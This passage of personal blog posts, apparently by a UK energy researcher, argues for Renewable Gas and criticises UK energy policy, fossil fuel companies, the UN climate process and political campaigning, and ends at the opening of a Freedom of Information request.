Even though I have covered a lot of ground, I feel I'm only just getting started, as there is a lot more that I need to research and document. At the same time, I feel that I don't have enough data, and that it will be hard to get the data I need, partly because of proprietary issues, where energy and engineering companies are protective of developments, particularly as regards actual numbers. Merely being a university researcher is probably not going to be sufficient. I would probably need to be an official within a government agency, or an industry institute, in order to be permitted to reach in to more detail about the potential for Renewable Gas. But there are problems with these possible avenues.
You see, having done the research I have conducted so far, I am even more scornful of government energy policy than I was previously, especially because of industrial tampering. In addition, I am even more scathing about the energy industry "playing both sides" on climate change. Even though there are some smart and competent people in them, the governments do not appear to be intelligent enough to see through expensive diversions in technology or unworkable proposals for economic tweaking. These non-solutions are embraced and promoted by the energy industry, and make progress difficult. No, carbon dioxide emissions taxation or pricing, or a market in carbon, are not going to make the kind of changes we need on climate change; and in addition they are going to be extremely difficult and slow to implement. No, Carbon Capture and Storage, or CCS, is never going to become relatively affordable in any economic scenario. No, nuclear power is too cumbersome, slow and dodgy – a technical term – to ever make a genuine impact on the total of carbon emissons. No, it's not energy users who need to reduce their consumption of energy, it's the energy companies who need to reduce the levels of fossil fuels they utilise in the energy they sell. No, unconventional fossil fuels, such as shale gas, are not the answer to high emissions from coal. No, biofuels added to petrofuels for vehicles won't stem total vehicle emissions without reducing fuel consumption and limiting the number of vehicles in use.
I think that the fossil fuel companies know these proposals cannot bring about significant change, which is precisely why they lobby for them. They used to deny climate change outright, because it spelled the end of their industry. Now they promote scepticism about the risks of climate change, whilst at the same time putting their name to things that can't work to suppress major amounts of emissions. This is a delayer's game.
Because I find the UK Government energy and climate policy ridiculous on many counts, I doubt they will ever want me to lead with Renewable Gas on one of their projects. And because I think the energy industry needs to accept and admit that they need to undergo a major change, and yet they spend most of their public relations euros telling the world they don't need to, and that other people need to make change instead, I doubt the energy industry will ever invite me to consult with them on how to make the Energy Transition.
I suppose there is an outside chance that the major engineering firms might work with me, after all, I have been an engineer, and many of these companies are already working in the Renewable Gas field, although they're normally "third party" players for the most part – providing engineering solutions to energy companies.
Because I've had to drag myself through the equivalent of a "petro degree", learning about the geology and chemistry of oil and gas, I can see more clearly than before that the fossil fuel industry contains within it the seeds of positive change, with its use of technologies appropriate for manufacturing low carbon "surface gas". I have learned that Renewable Gas would be a logical progression for the oil and gas industry, and also essential to rein in their own carbon emissions from processing cheaper crude oils. If they weren't so busy telling governments how to tamper with energy markets, pushing the blame for emissions on others, and begging for subsidies for CCS projects, they could instead be planning for a future where they get to stay in business.
The oil and gas companies, especially the vertically integrated tranche, could become producers and retailers of low carbon gas, and take part in a programme for decentralised and efficient energy provision, and maintain their valued contribution to society. At the moment, however, they're still stuck in the 20th Century.
I'm a positive person, so I'm not going to dwell too much on how stuck-in-the-fossilised-mud the governments and petroindustry are. What I'm aiming to do is start the conversation on how the development of Renewable Gas could displace dirty fossil fuels, and eventually replace the cleaner-but-still-fossil Natural Gas as well.
Academic Freedom Advertise Freely Bait & Switch Be Prepared Big Picture Big Society Burning Money Carbon Army Carbon Capture Carbon Commodities Carbon Pricing Carbon Taxatious Change Management Climate Change Coal Hell Conflict of Interest Cost Effective Deal Breakers Demoticratica Divide & Rule Emissions Impossible Energy Autonomy Energy Change Energy Denial Energy Insecurity Energy Revival Engineering Marvel Fossilised Fuels Freemarketeering Gamechanger Global Warming Green Investment Green Power Hydrocarbon Hegemony Landslide Libertarian Liberalism Low Carbon Life Major Shift Mass Propaganda Media Money Sings National Energy National Power Nuclear Nuisance Oil Change Optimistic Generation Orwells Paradigm Shapeshifter Peak Coal Peak Emissions Peak Natural Gas Peak Oil Policy Warfare Political Nightmare Protest & Survive Public Relations Realistic Models Regulatory Ultimatum Renewable Gas Resource Wards Social Capital Social Change Social Chaos Social Democracy Solar Sunrise Solution City Stirring Stuff Sustainable Deferment The Science of Communitagion The War on Error Unsolicited Advice & Guidance Vote Loser Western Hedge Wind of Fortune
European Referendum : Corpse Factory
No Comments on European Referendum : Corpse Factory
So I was in a meeting on a dateless date, at an organisation with a nameless name, with some other unidentifiable people in the room with me. For some reason I had been invited, I cannot think why. Ah, yes, I can. I was invited to attend because, apparently, I am a "campaigner". I am, allegedly, somebody who buys into the notion that communications should serve the purpose of directing public attention and support towards a particular outcome, decided in advance by a political elite. And it seems, if I believe something is right, and that a message needs communicating, I will take action, but never invoice, because I am a believer. Well let me tell you right here and now, I am not that person. I may have that reputation, but really, I despise propaganda : the deliberate formation of a murmur of Tweet starlings, or the collective wall-to-wall newspaper coverage of the same story, the scandal story hauled out to scare the horses and herd them to the salt water shore, the faux narrative of collective political or social will for change.
I want to believe that even though I am occasionally paid to communicate a story (but most often not), that my narrative, and importantly my agenda, is my own. I will not be co-opted. I shall not be defined by storytelling, I shall not be paid for spreading information – for if I were to be telling money-backed tales, I may end up peddling lies. And I do not want lies to be spoken. I am an ontologist. My ontology is :-
IT IS,
There is no "therefore" in what I write. When I say "should", like, "we should adopt renewable energy", it's your choice as to whether you agree with me. You shouldn't read anything and be swayed or directed, except by the force of reason based on evidence. I am the photographer, the recorder, but not the public relations consultant. And I am especially not an unsalaried volunteer. I paint the future using my own perspective, my own understanding, my own research, my own best judgement, but I am not telling people what to think. Although I go slightly beyond merely noting and analysing what is happening, to articulate possible futures, I am not a persuader.
I do not want to write the script for the actions of the readers or listeners. I do not want to precipitate a revolution, or dehydrate the horses before leading them to the river bank. I want to describe rather than proscribe or prescribe. I want to scribe the way I see things, I do not do it in order to create waves or push buttons or light beacons. The facts should speak for themselves, and if anybody consumes my communication, they should be free to act as they feel fit, or suits. I am not a paid-for, paid-up, in-the-pocket campaigner. I am not spun round other peoples' fingers like a talking puppet. I am a free person.
So, there I was in this meeting, and the people in the room were discussing an event that is likely to take place. It appears from some analysis that the next British Government could well be another Coalition Government, with the Conservative Party having only a shaving of a majority for rule. And when they have crossed the i's and dotted the t's and formed a currently impossible political marriage, which I'm guessing will involve the Green Party as well as the Liberal Democrats, then they will need to live up to their promise to hold a referendum on British participation in the Grand European Experiment – economic union with other European countries.
But nobody talks about Europe. Except to complain. In the meeting I attended, the hosts of the meeting were consulting for ways to highlight the Europe Question, and to give it a pro-Union light.
For me, it's facile. The United Kingdom of Great Britain and Northern Ireland is just a bunch of mediocre-sized islands off the coast of the European continent. Something like 80% of UK trade is with European countries, because Europe is our gateway to the rest of the global market, and you always do the most trade with your neighbours. It's natural. Can anybody seriously suggest we ditch the Common Market – the agreements that European countries have come to to ensure common standards of goods and services, common terms and conditions of trade and common legal processes regulating trade ? So we want to reserve some kind of sovereignty over some kinds of decisions ? Why ? The UK is heavily involved in the central European institutions and governance bodies. We have massive input. We vote for MEPs. Why should things not go our way ? And even if things don't go perfectly our way, will the negotiated compromises be so bad ? Subsidiarity – making decisions at the lowest/best/most appropriate level of administration – that's still going to keep a lot of British control over British affairs. Surely the UK suffers a greater risk of interference from any pan-Atlantic trade deal that it does from Europe ?
The UK have made commitments. Our Parliament has agreed that we need to work on climate change, social justice and economic stability. We have implicitly agreed that to address climate change we need Energy Change and environmental regulation; to achieve social justice we need human rights, justice, health, education and a benefits system; and for economic stability we need economic stimuli – for example, in national infrastructure projects. In terms of climate change and Energy Change there is so much we need to do. If we stay in Europe, all of this will be so much easier. Within the European project for energy market harmonisation is the work on standards to achieve gas and electricity grid harmonisation. The improvement and augmenting of interconnections between countries, and the provision of wider energy storage, will enable the balanced use of renewable energy. Governments need to create incentives for deploying renewable energy. Governments need to create mechanisms to leverage and facilitate renewable energy deployment. Without Europe, outwith Europe, it will cost us more, and be more complex. Within Europe, it will be easier.
So, in the meeting I attended, I put forward my vision : if the UK stays in Europe, it will be easier to handle problems of energy – improving and replacing infrastructure and plant, co-ordinating the uptake of new renewable energy technologies and dealing with emerging energy security issues. Why, the North Sea, as everybody knows, is draining dry, and we can only build certain levels of relationship with countries outside the European Union, such as Russia. If the UK left the EU, the EU would be competitors with the UK for Russian Natural Gas, for example. I said I thought that energy security was a good thing to explain to people and a good reason to raise support for UK's continued participation in Europe.
So, somebody else in the meeting, who shall remain faceless and nameless, poured very cold water on this idea. They seemed to disbelieve that the UK faces risks to energy security. Instead, they suggested that the pro-Europe argument should be based on how the UK can "keep our place at the table". How out of touch can one get, I thought to myself ? This kind of patrician argument is not going to wash. Appealing to some non-existent pride in the UK's continued role as stakeholder in the European project is going to go down like a lead balloon. It's a vote loser, for sure.
What most people care about first is money. Their money. Any appeal to their pockets is going to help. We live in tough times – thanks to Government austerity policy – and we still cannot get a handle on public borrowing and spending. Because of the Government's austerity policy.
So how about we cast it like this : your energy is going to get much more expensive if the UK abandons the European community of nations. Plus, your lights could genuinely go out, unless you, the people, either as taxpayers or billpayers, fork out for new energy investments that the energy companies haven't made for 20 years. Because of privatisation. Without taking part in the European energy market harmonisation, and the European development of new and renewable energy infrastructure, plant and networks, your bills could significantly rise/spiral out of control. If European companies were required to sell energy assets back to the UK, because the UK pulled out of Europe, we would be in a very fine mess indeed. Do you really want this kind of chaos ? Energy policy in the UK is already bad enough.
The facts are available to those who search : British production of oil and gas from the North Sea is declining at something like 6% a year. The UK became a net energy importer between 2004 and 2006 (depending on how you define it). The Netherlands will become a net Natural Gas importer in the 2020s. Norway's Natural Gas will reach a peak some time in the 2020s. It's no good thinking that because the UK is a "gas hub", and that British finance can currently spin up gas imports to the UK, that this situation is going to remain true. Within 10 to 15 years, I think that the UK will face significant competition for Natural Gas supplies with other European countries. Better to be in the debating chamber, surely, rather than scratching at the wind-and-rain-splattered window from outside ? So can the UK forge a gas alliance with countries outside the European Union, and apart from Norway ? A gas import alliance that sticks ? And that isn't demolished by competition from the rest of the European Union for gas supplies that come through pipes sitting in European Union territory ? OK, the UK might want to leave full European Union membership, and join Norway in the European Economic Area, but will this guarantee beneficial import status for Natural Gas from countries that supply the full members of the European Community ?
I said, instead of trying to talk about direct opposites – either Inside Europe or Outside Europe – let's talk about how things can be helped by wider co-operation. The European Union was founded on energy treaties – coal and nuclear energy (and steel), and now Europe needs to move to a union forged on renewable power and Natural Gas – and later Renewable Gas – and it's going to be so much easier to do if the UK stays at the party.
The North Sea needs re-developing. Not for oil, but for wind power. This is going to happen best with full cross-border co-operation. Already, the UK has agreed to play a large part in the "North Sea Offshore Grid" wind power project in league with Ireland, Germany, Denmark, Sweden, The Netherlands, Belgium and France. And Luxembourg, strangely, although it doesn't have a coast. Unlike new nuclear power, which could be decades in construction, offshore and onshore wind in Europe can be quick-build. If you want new power, you pick wind and solar. And, despite policy fumbles, this is happening. Actually, in the end, who really cares about subsidies for renewable energy, when the most capital-heavy organisations in the world start backing renewable power ? In some ways, I don't care who brings me low carbon energy, and I don't care if I have to pay for it through my tax or my bills, I just want it to happen. OK, offshore wind power is for the big boys, and you're never going to get a diversity of suppliers with this project, and the dreams of decentralised energy are vapours, whisked away by giant engineering firms, but at least renewable energy is going to happen. One day people will realise that for the newspapers to rehearse the arguments of High Net Worth Individuals, and for sheep-like energy ministers to complain about onshore wind power and solar farms, is just a way to keep small electricity generators out of the energy markets, and allow the incumbent energy players to keep making profits. But when the need for a multiplicity of small energy installations becomes critical, I think this tune will change.
I can see all this. But, because I am not a spin meister, or spin meistress, or a campaigner, I'm not going to be crafting fine messages to share with my networks on this particular subject. I did start (see below), but then I thought better of it. I dislike the use of social media, web logging and journalism to push an agenda. The trouble is, I know that the people who are vehemently against the European endeavour have so many trigger arguments tested and ready to deploy, such as : immigration, regulations, budgetary demands. None of these stand up to scutiny, but they are very easy props on which to deploy Corpse Factory scares and scandals, up there with the War on Terror. The pro-European segment of the population always stays so silent. If there were to be a Referendum on Europe today, I can pretty much guarantee a kneejerk exit. The British public act collectively by reflex. They never re-analyse their position. They mob, gang and plunder.
I don't think pro-Europe organisations know how to sell Europe. But they shouldn't need to "sell" Europe. European membership should be an obvious best choice. So why should I try to talk up Europe ? I couldn't have any influence, as one lone voice, against the Daily Mails, Daily Expresses and Daily Telegraphs of this world. And anyway, it's not really my fight to fight. I don't have a job title that reads "arch propagandist". I am not that person. It does not become me. I prefer straight-talking, not mind-bending.
I won't get invited back. That's just fine. I am not a volunteer campaigner. I'm not a political pusher. I've only played the role of "evangelist" on climate change, renewable energy and good policy because sometimes there is little else I can think of that might help or make a difference. But I don't have any influence. And I don't want any. I am just going to continue telling it the way I see it. Giving my perspective. I cannot guarantee any outcomes. And anyway, I prefer democratic engagement over salesmanship. Don't ask me to sell your ideas, your policies, your projections. I don't want to.
Full membership of the European Union is the logical option for the United Kingdom, no matter how many tired dead donkey corpses the rabid tabloid media keep digging up to appall us all. Sooner or later, we also need to consider joining the Euro currency, and I predict we will, but I'm not your convincer on that argument, either.
"What has Europe ever done for us ?"
Common Climate : Common Cause : Common Market
On climate change, the United Kingdom has secured the Climate Change Act, legislation with broad-based support across all political parties. The UK shares the concerns of other European countries about the potential risks and impacts from climate change in our geographical region. Society-level change in response to climate change includes energy change – changing the sources and use of energy – and changing policies for land use to include planting forests and energy crops. Within the European Community, the UK has worked to secure region-wide legislation on renewable energy, energy efficiency, waste control and air quality. All of these contribute to the response to climate change, and have developed action on climate change into a common cause. In addition to regulatory change, the European Community is seeking to develop trading mechanisms to enable carbon dioxide emissions control, and it working to develop a common market in carbon.
Common Future : Common Purpose : Common Interest
Common Values : Common Opportunities : Common Voice
Common Security : Common Goals : Common Networks
Common Infrastructure : Common Society : Common Protection
Common Standards : Common Framework : Common Development
Acid Ocean Animal Kingdoom Babykillers Behaviour Changeling Big Picture Big Society Carbon Capture Carbon Commodities Carbon Pricing Carbon Rationing Carbon Taxatious Change Management Climate Change Climate Chaos Climate Damages Coal Hell Corporate Pressure Demoticratica Disturbing Trends Divide & Rule Emissions Impossible Energy Autonomy Energy Crunch Energy Denial Energy Disenfranchisement Energy Insecurity Engineering Marvel Fossilised Fuels Freshwater Stress Gamechanger Global Heating Global Singeing Global Warming Green Gas Green Power Human Nurture Hydrogen Economy Landslide Mad Mad World Major Shift Mass Propaganda Media Meltdown Oil Change Paradigm Shapeshifter Peak Coal Peak Emissions Peak Energy Peak Natural Gas Peak Oil Policy Warfare Political Nightmare Public Relations Pure Hollywood Regulatory Ultimatum Renewable Gas Resource Curse Screaming Panic Social Capital Social Change Social Chaos Social Democracy Solar Sunrise Solution City Stirring Stuff The Science of Communitagion Vote Loser Wind of Fortune Zero Net
Climbing the Concern Ladder
No Comments on Climbing the Concern Ladder
How do we get things changed in a democracy ? The model of political campaigning that has been established over the last century is failing us. In the past, if there was a problem, a small group of people could create a fuss about it, march some placards to somewhere relevant, write some letters, talk to some dignitaries, chain themselves to some railings, occupy a lobby, get some press, and after some years, maybe, get something done.
These days there are just too many complaints for them all to be heard. Philanthropic, charitable and political messages crowd the stage. In this age of social media, the campaign metaphor has been replaced by a ladder of concern. Concern is expressed. Hopefully others will find that they too are sufficiently concerned, and reflect that concern through some medium. And slowly, it is hoped, this concern climbs the ladder of attention, until it is visible, audible. The entitled and endowed middle classes catch the concern, and repeat it. Lots of emails fly. George Monbiot writes about it in The Guardian. Some speeches are made at serious meetings. Angelina Jolie is invited to grace a conference. And then, hopefully, this concern hits the people who have some kind of leverage over the problem, and they act.
Action is almost guaranteed if the concern is the result of a specific outrage, committed by a specific person or group, and has a specific solution. But otherwise, who knows ? How universal and impactful does a concern need to be before it gets acted upon ? And surely some things don't need campaigns, because the governments already know enough about problems such as people trafficking, slavery, animal welfare, crime and torture ? After all, things such as prostitution and illegal drug trade are included in national economic statistics.
I took public transport today in London and I was doused in outrage pouring from advertisements asking for charitable giving to prevent the inhuman practice of Female Genital Mutilation (FGM). As I read these appeals, I felt two overwhelming sensations – one of intense anger that children are being permanently injured because of insane and unjustifiable, hateful beliefs about female sexuality. And a second feeling of dragging despair that giving a small donation every month to this organisation would have very little impact on abusive culture, which leads to many forms of violation, not just the unimaginably painful and destructive incision and even resection of a child's clitoris and the sewing together of her labia, leading to permanent nerve damage, lasting wounds, loss of sexual function, complications from incontinence, ruined relationships, injuries from sexual intercourse, and serious medical risks during childbirth, and possibly the need for reconstructive surgery.
This is a problem which cannot be fixed by expressing normal murmurs of concern, building a wave of concern that climbs a ladder of concern, or making monthly token charitable payments. This concern is not susceptible to a campaign. What this problem needs is regulation, legislation, policing. This concern shouldn't have to compete with all the other concerns out there, like distressed retired donkeys, threatened butterflies, meltdown polar bears, de-forested orangutans and by-catch dolphins. Some things just shouldn't happen. They just shouldn't be tolerated. And they shouldn't be lost amongst an avalanche of other concerns. This problem is so serious that it should be an automatic priority for all the authorities, co-ordinating to detect and prevent it. This concern shouldn't have to campaign for funds. Or attention.
Switch to BBC News. Roger Harrabin reports that "The UK's chief scientist says the oceans face a serious and growing risk from man-made carbon emissions. […] Sir Mark Walport warns that the acidity of the oceans has increased by about 25% since the industrial revolution, mainly thanks to manmade emissions. […] He told BBC News: "If we carry on emitting CO2 [carbon dioxide] at the same rate, ocean acidification will create substantial risks to complex marine food webs and ecosystems." […] The consequences of acidification are likely to be made worse by the warming of the ocean expected with climate change, a process which is also driven by CO2."
Media Lens Editors reported this piece. My reaction was – who would be paying attention to this ? This is not the "dangerous climate change comes from global warming" story, this is the "other" carbon problem, the decimation of marine productivity and the whole pyramid of life, resulting from increasing levels of dissolved carbon dioxide in seawater because of higher levels of carbon dioxide in the air. The overwhelmingly major causes of this problem are irrefutably and definitely fossil fuel combustion, and its seriousness is hard to deny, even though Roger Harrabin attempts to make light of it by devoting column inches to a laboratory crab who isn't getting with the programme.
Ocean acidification is a concern that shouldn't get lost in amongst other concerns. It should be paid serious levels of attention. And not just by middle class philanthropists who work for non-governmental organisations and charities. And yet, cursory analysis of the segmentation of the population who treat BBC News as a main and trusted information source may suggest that the only readers who would act on this piece are exactly these middle class charity staff, or at a push, retired middle class charity staff.
My Media Lens comment was, "Right expert. Right message. Wrong audience. Wrong medium. The UK Government's chief scientist. OK. Good. Ocean acidification. OK. Good. No quibbles about whether or not extra carbon dioxide in the atmosphere is a real problem or not (as known as "climate change" or "global warming", which is real by the way). The BBC News. Wrong medium. Wrong audience. The only people going to listen to this are those who already know about the problem but are still as powerless to act as they were yesterday. The UK Government should present this information to the oil, gas and coal companies with a polite request for them to unveil their plan of action in the face of this undeniable problem."
There is no reason why this story should be covered in BBC News by Roger Harrabin. What can anybody reading it do about the problem ? There is no purpose for this article. It is a pointless statement of concern, or rather, a belittling rehearsal of the concern. Unless this article, and the thousands like it, lead to the Government demanding answers on Energy Change from the fossil fuel companies, there is no point in reporting it, or in this case, disparaging it with faint humour.
The only time that ocean acidification should appear in a media piece is to report that the problem has been presented to the architects of increased ocean carbon dioxide, and answers have been requested.
And who are the architects of increased atmospheric and ocean carbon dioxide ? Those who mine fossil fuels. Those companies like BP and Shell, ExxonMobil, and all the coal extraction companies should act. They should offer us alternative non-fossil fuel energy. And the news should be about how these companies are taking action to offer us Renewable Hydrogen, Renewable Methane, solar power, wind power and Zero Carbon transport fuels.
Answers from the past will simply not do. Trying to assert that somebody needs to pay for pollution won't prevent pollution occurring. Carbon taxes or carbon pricing won't work – since they won't prevent the mining of fossil fuels – and if fossil fuels are mined, of course they will be burned. Carbon combustion quotas won't work – since economic wealth is based on burning carbon, so many forces will conspire to maintain levels of fossil fuel combustion. Carbon mining quotas won't work, since the forces for increasing mining quotas are strong. Carbon trading won't work, since it won't reduce the amount of fossil fuels mined – because, obviously, if fossil fuels are mined, they will be burned.
I am tired of reading about climate change, global warming, freshwater stress and ocean acidification in the news. It seems there is nothing I can do that I have not already done that can provide a solution to these problems. Enough with communicating the disaster. I want to read about engineering and energy companies who have switched business models to producing Zero Carbon energy. I want to hear how energy security concern is taking oil, gas and coal companies towards Renewable Everything.
Academic Freedom Advancing Africa Alchemical Assets not Liabilities Behaviour Changeling Big Picture Big Society Carbon Commodities Carbon Pricing Carbon Taxatious Change Management Climate Change Climate Chaos Coal Hell Conflict of Interest Contraction & Convergence Corporate Pressure Dead End Deal Breakers Demoticratica Design Matters Direction of Travel Divide & Rule Dreamworld Economics Emissions Impossible Energy Change Energy Crunch Energy Denial Energy Disenfranchisement Engineering Marvel Evil Opposition Extreme Weather Feed the World Foreign Interference Foreign Investment Fossilised Fuels Freemarketeering Gamechanger Geogingerneering Global Singeing Green Gas Green Investment Green Power Human Nurture Hydrocarbon Hegemony Low Carbon Life Mad Mad World Major Shift Money Sings National Energy National Power Paradigm Shapeshifter Peak Emissions Petrolheads Policy Warfare Political Nightmare Protest & Survive Realistic Models Regulatory Ultimatum Renewable Gas Revolving Door Social Capital Social Change Social Chaos Social Democracy Solution City Stirring Stuff Technofix The Power of Intention The Science of Communitagion The War on Error Ungreen Development Unutterably Useless Utter Futility Vain Hope Western Hedge Zero Net
This Too Will Fail
1 Comment on This Too Will Fail
I will probably fail to make myself understood, yet again, but here goes…
The reasons the United Nations Climate Change process is failing are :-
1. The wrong people are being asked to shoulder responsibility
It is a well-rumoured possibility that the fossil fuel industry makes sure it has sympathisers and lobbyists at the United Nations Framework Convention on Climate Change (UNFCCC) conferences. It is only natural that they should want to monitor proceedings, and influence outcomes. But interventions by the energy sector has a much wider scope. Delegates from the countries with national oil and gas companies are key actors at UNFCCC conferences. Their national interests are closely bound to their fossil fuel exports. Many other countries understand their national interest is bound to the success of energy sector companies operating within their borders. Still others have governments with energy policy virtually dictated by international energy corporations. Yet when the UNFCCC discusses climate change, the only obligations discussed are those of nations – the parties to any treaty are the governments and regimes of the world. The UNFCCC does not hold oil and gas (and coal) companies to account. BP and Shell (and Exxon and Chevron and Total and GDF Suez and Eni and so on) are not asked to make undertakings at the annual climate talks. Governments are hoped to forge a treaty, but this treaty will create no leverage for change; no framework of accountability amongst those who produce oil, gas and coal.
2. The right people are not in the room
It's all very well for Governments to commit to a treaty, but they cannot implement it. Yes, their citizens can make a certain amount of changes, and reduce their carbon emissions through controlling their energy consumption and their material acquisitions. But that's not the whole story. Energy has to be decarbonised at source. There are technological solutions to climate change, and they require the deployment of renewable energy systems. The people who can implement renewable energy schemes should be part of the UNFCCC process; the engineering companies who make wind turbines, solar photovoltaic panels, the people who can build Renewable Gas systems. Companies such as Siemens, GE, Alstom. Energy engineering project companies. Chemical engineering companies.
3. The economists are still in the building
In the United Kingdom (what will we call it if Scotland becomes independent ? And what will the word "British" then mean ?) the Parliament passed the Climate Change Act. But this legislation is meaningless without a means to implement the Carbon Budgets it institutes. The British example is just a minor parallel to the UNFCCC situation – how can a global climate treaty be made to work ? Most of the notions the economists have put forward so far to incentivise energy demand reduction and stimulate low carbon energy production have failed to achieve much. Carbon trading ! Carbon pricing ! All rather ineffective. Plus, there's the residual notion of different treatment for developed and developing nations, which is a road to nowhere.
4. Unilateral action is frowned upon
Apparently, since Climate Change is a global problem, we all have to act in a united fashion to solve it. But that's too hard to ask, at least to start with. When countries or regions take it upon themselves to act independently, the policy community seem to counsel against it. There are a few exceptions, such as the C40 process, where individual cities are praised for independent action, but as soon as the European Community sets up something that looks like a border tax on carbon, that's a no-no. Everybody is asked to be part of a global process, but it's almost too hard to get anything done within this framework.
5. Civil Society is hamstrung and tongue-tied
There is very little that people groups can achieve within the UNFCCC process, because there is a disconnect between the negotiations and practical action. The framework of the treaty discussions does not encompass the real change makers. The UNFCCC does not build the foundation for the architecture of a new green economy, because it only addresses itself to garnering commitments from parties that cannot fulfill them. Civil Society ask for an egg sandwich and they are given a sandy eggshell. If Civil Society groups call for technology, they are given a carbon credit framework. If they call for differential investment strategies that can discredit carbon dependency, they are given an opportunity to put money into the global adaptation fund.
Academic Freedom Alchemical Assets not Liabilities Baseload is History Be Prepared Big Picture Carbon Recycling Change Management Corporate Pressure Demoticratica Design Matters Direction of Travel Economic Implosion Energy Autonomy Energy Calculation Energy Change Energy Insecurity Engineering Marvel Environmental Howzat Extreme Energy Fossilised Fuels Freemarketeering Fuel Poverty Gamechanger Gas Storage Green Gas Green Investment Green Power Major Shift National Power Optimistic Generation Paradigm Shapeshifter Peak Natural Gas Petrolheads Policy Warfare Political Nightmare Protest & Survive Realistic Models Regulatory Ultimatum Renewable Gas Renewable Resource Shale Game Social Democracy Solution City Technofix Technological Sideshow The Power of Intention The Right Chemistry The War on Error Unconventional Foul Unnatural Gas Western Hedge Wind of Fortune
All Kinds of Gas
No Comments on All Kinds of Gas
Amongst the chink-clink of wine glasses at yesterday evening's Open Cities Green Sky Thinking Max Fordham event, I find myself supping a high ball orange juice with an engineer who does energy retrofits – more precisely – heat retrofits. "Yeah. Drilling holes in Grade I Listed walls for the District Heating pipework is quite nervewracking, as you can imagine. When they said they wanted to put an energy centre deep underneath the building, I asked them, "Where are you going to put the flue ?""
Our attention turns to heat metering. We discuss cases we know of where people have installed metering underground on new developments and fitted them with Internet gateways and then found that as the rest of the buildings get completed, the meter can no longer speak to the world. The problems of radio-meets-thick-concrete and radio-in-a-steel-cage. We agree that anybody installing a remote wifi type communications system on metering should be obliged in the contract to re-commission it every year.
And then we move on to shale gas. "The United States of America could become fuel-independent within ten years", says my correspondent. I fake yawn. It really is tragic how some people believe lies that big. "There's no way that's going to happen !", I assert.
"Look," I say, (jumping over the thorny question of Albertan syncrude, which is technically Canadian, not American), "The only reason there's been strong growth in shale gas production is because there was a huge burst in shale gas drilling, and now it's been shown to be uneconomic, the boom has busted. Even the Energy Information Administration is not predicting strong growth in shale gas. They're looking at growth in coalbed methane, after some years. And the Arctic." "The Arctic ?", chimes in Party Number 3. "Yes," I clarify, "Brought to you in association with Canada. Shale gas is a non-starter in Europe. I always think back to the USGS. They estimate that the total resource in the whole of Europe is a whole order of magnitude, that is, ten times smaller than it is in Northern America." "And I should have thought you couldn't have the same kind of drilling in Europe because of the population density ?", chips in Party Number 3. "They're going to be drilling a lot of empty holes," I add, "the "sweet spot" problem means they're only likely to have good production in a few areas. And I'm not a geologist, but there's the stratigraphy and the kind of shale we have here – it's just not the same as in the USA." Parties Number 2 and 3 look vaguely amenable to this line of argument. "And the problems that we think we know about are not the real problems," I out-on-a-limbed. "The shale gas drillers will probably give up on hydraulic fracturing of low density shale formations, which will appease the environmentalists, but then they will go for drilling coal lenses and seams inside and alongside the shales, where there's potential for high volumes of free gas just waiting to pop out. And that could cause serious problems if the pressures are high – subsidence, and so on. Even then, I cannot see how production could be very high, and it's going to take some time for it to come on-stream…" "…about 10 years," says Party Number 2.
"Just think about who is going for shale gas in the UK," I ventured, "Not the big boys. They've stood back and let the little guys come in to drill for shale gas. I mean, BP did a bunch of onshore seismic surveys in the 1950s, after which they went drilling offshore in the North Sea, so I think that says it all, really. They know there's not much gas on land." There were some raised eyebrows, as if to say, well, perhaps seismic surveys are better these days, but there was agreement that shale gas will come on slowly.
"I don't think shale gas can contribute to energy security for at least a decade," I claimed, "even if there's anything really there. Shale gas is not going to answer the problems of the loss of nuclear generation, or the problems of gas-fired generation becoming uneconomic because of the strong growth in renewables." There was a nodding of heads.
"I think," I said, "We should forget subsidies. UK plc ought to purchase a couple of CCGTS [Combined Cycle Gas Turbine electricity generation units]. That will guarantee they stay running to load balance the power grid when we need them to. Although the UK's Capacity Mechanism plan is in line with the European Union's plans for supporting gas-fired generation, it's not achieving anything yet." I added that we needed to continue building as much wind power as possible, as it's quick to put in place. I quite liked my radical little proposal for energy security, and the people I was talking with did not object.
There was some discussion about Green Party policy on the ownership of energy utilities, and how energy and transport networks are basically in the hands of the State, but then Party Number 2 said, "What we really need is consistency of policy. We need an Energy Bill that doesn't get gutted by a change of administration. I might need to vote Conservative, because Labour would mess around with policy." "I don't know," I said, "it's going to get messed with whoever is in power. All those people at DECC working on the Electricity Market Reform – they all disappeared. Says something, doesn't it ?"
I spoke to Parties Number 2 and 3 about my research into the potential for low carbon gas. "Basically, making gas as a kind of energy storage ?", queried Party Number 2. I agreed, but omitted to tell him about Germany's Power-to-Gas Strategy. We agreed that it would be at least a decade before much could come of these technologies, so it wouldn't contribute immediately to energy security. "But then," I said, "We have to look at the other end of this transition, and how the big gas producers are going to move towards Renewable Gas. They could be making decisions now that make more of the gas they get out of the ground. They have all the know-how to build kit to make use of the carbon dioxide that is often present in sour conventional reserves, and turn it into fuel, by reacting it with Renewable Hydrogen. If they did that, they could be building sustainability into their business models, as they could transition to making Renewable Gas as the Natural Gas runs down."
I asked Parties Number 2 and 3 who they thought would be the first movers on Renewable Gas. We agreed that companies such as GE, Siemens, Alstom, the big engineering groups, who are building gas turbines that are tolerant to a mix of gases, are in prime position to develop closed-loop Renewable Gas systems for power generation – recycling the carbon dioxide. But it will probably take the influence of the shareholders of companies like BP, who will be arguing for evidence that BP are not going to go out of business owing to fossil fuel depletion, to roll out Renewable Gas widely. "We've all got our pensions invested in them", admitted Party Number 2, arguing for BP to gain the ability to sustain itself as well as the planet.
Academic Freedom Assets not Liabilities Be Prepared Big Number Big Picture British Biogas Carbon Commodities Change Management Corporate Pressure Demoticratica Design Matters Disturbing Trends Energy Autonomy Energy Change Energy Crunch Energy Denial Energy Insecurity Energy Revival Engineering Marvel Fossilised Fuels Fuel Poverty Gamechanger Gas Storage Green Gas Green Investment Green Power Growth Paradigm Hide the Incline Hydrocarbon Hegemony Hydrogen Economy Insulation Major Shift Marine Gas Methane Management Money Sings National Energy Paradigm Shapeshifter Peak Natural Gas Realistic Models Regulatory Ultimatum Renewable Gas Renewable Resource Resource Curse Resource Wards Shale Game Solution City Technofix Technological Sideshow The Power of Intention The Price of Gas The Right Chemistry Unconventional Foul Unnatural Gas Western Hedge
Fiefdom of Information
1 Comment on Fiefdom of Information
Sigh. I think I'm going to need to start sending out Freedom of Information requests… Several cups of tea later…
To: Information Rights Unit, Department for Business, Innovation & Skills, 5th Floor, Victoria 3, 1 Victoria Street, London SW1H OET
Request to the Department of Energy and Climate Change
Re: Policy and Strategy for North Sea Natural Gas Fields Depletion
Dear Madam / Sir,
